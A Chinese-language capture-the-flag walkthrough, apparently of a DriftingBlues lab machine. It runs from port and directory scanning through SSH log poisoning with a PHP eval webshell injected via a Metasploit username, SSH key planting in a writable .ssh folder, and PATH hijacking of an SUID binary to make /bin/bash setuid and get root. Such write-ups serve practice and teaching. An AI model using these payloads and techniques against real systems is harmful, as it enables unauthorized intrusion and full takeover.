信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~] └─# nmap -sV -p- 192.168.254.26 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 08:14 EDT Nmap scan report for 192.168.254.26 Host is up (0.00043s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) MAC Address: 08:00:27:31:6F:4B (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
路径扫描
┌──(root㉿kali)-[~] └─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100 -b 403,404 -x php,txt,jpg,html,txt,zip -u http://192.168.254.26 =============================================================== /index.html (Status: 200) [Size: 1373] /privacy (Status: 301) [Size: 318] [--> http://192.168.254.26/privacy/] /robots.txt (Status: 200) [Size: 37] /tickets.html (Status: 200) [Size: 347] /drupal (Status: 301) [Size: 317] [--> http://192.168.254.26/drupal/] /secret (Status: 301) [Size: 317] [--> http://192.168.254.26/secret/] /wp-admin (Status: 301) [Size: 319] [--> http://192.168.254.26/wp-admin/] /phpmyadmin (Status: 301) [Size: 321] [--> http://192.168.254.26/phpmyadmin/]
80端口
- /robots.txt

发现一个路径/littlequeenofspades.html

在源码里发现一串base64,解码又是一个路径/adminsfixit.php

访问后发现这是一个ssh的log日志,意味着我们输入什么,就可以利用这个日志,写入一句话木马,从而获取shell
拿取shell
通过学习,发现ssh登录的用户名可以写入一句话木马,但是我写入无法执行,说包含特殊字符,通过看小白师傅的wp发现可以使用msf(牛,然后写入一句话木马
msf6 > use auxiliary/scanner/ssh/ssh_login msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 192.168.254.26 rhost => 192.168.254.26 msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php @eval($_POST['a']);?> username => <?php @eval($_POST[a]);?> msf6 auxiliary(scanner/ssh/ssh_login) > set password 11111 password => 11111 msf6 auxiliary(scanner/ssh/ssh_login) > run
回过头来我们再次查看日志,发现存在我们注入的语句,空用户名就是因为我们写的是php语句被解析了

通过蚁剑,我们获取shell

发现有个用户,robertj,通过信息搜集,发现没有什么能提权的方式,但通过.ssh我们可以利用公钥私钥来登录,经典的方式,为什么利用.ssh可以,其实文件权限也给了提示,就是.ssh的文件权限是707,意味着我们可以写入,于是我们自己生成一对密钥对,上传公钥,私钥用来登录
ssh-keygen -t rsa -b 4096 -f /root/drifting/id_rsa mv id_rsa.pub authorized_keys python3 -m http.server chmod 600 id_rsa ssh -i id_rsa robertj@192.168.254.26

提权
- sudo -l 无法使用命令
- find / -perm -u=s -type f 2>/dev/null
找到一个特殊命令
/usr/bin/getinfo
执行一下,发现这个命令不过是ip,uname -a ,cat /etc/hosts的命令的总和,明白了,于是我可以伪造一个ip命令,通过路径劫持在tmp目录下写一个假的ip命令,然后执行
robertj@driftingblues:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games robertj@driftingblues:/tmp$ touch ip robertj@driftingblues:/tmp$ echo "chmod +x /bin/bash" > ip robertj@driftingblues:/tmp$ cat ip chmod +x /bin/bash robertj@driftingblues:/tmp$ echo "chmod +s /bin/bash" > ip robertj@driftingblues:/tmp$ chmod +x ip robertj@driftingblues:/tmp$ export PATH=/tmp:$PATH robertj@driftingblues:/tmp$ echo $path robertj@driftingblues:/tmp$ echo $PATH /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /usr/bin/getinfo
然后再次执行getinfo命令,他就执行的不是/bin/ip,而是/tmp/ip
这里也可以使用cat命令,一样的
然后直接查看是否执行成功 robertj@driftingblues:/tmp$ ls -al /bin/bash -rwsr-sr-x 1 root root 1168776 Apr 17 2019 /bin/bash 确实赋予了s权限 obertj@driftingblues:/tmp$ /bin/bash -p bash-5.0# whoami root bash-5.0# cat root.txt dfb7f604a22928afba370d819b35ec83
成功拿到root
Comments | NOTHING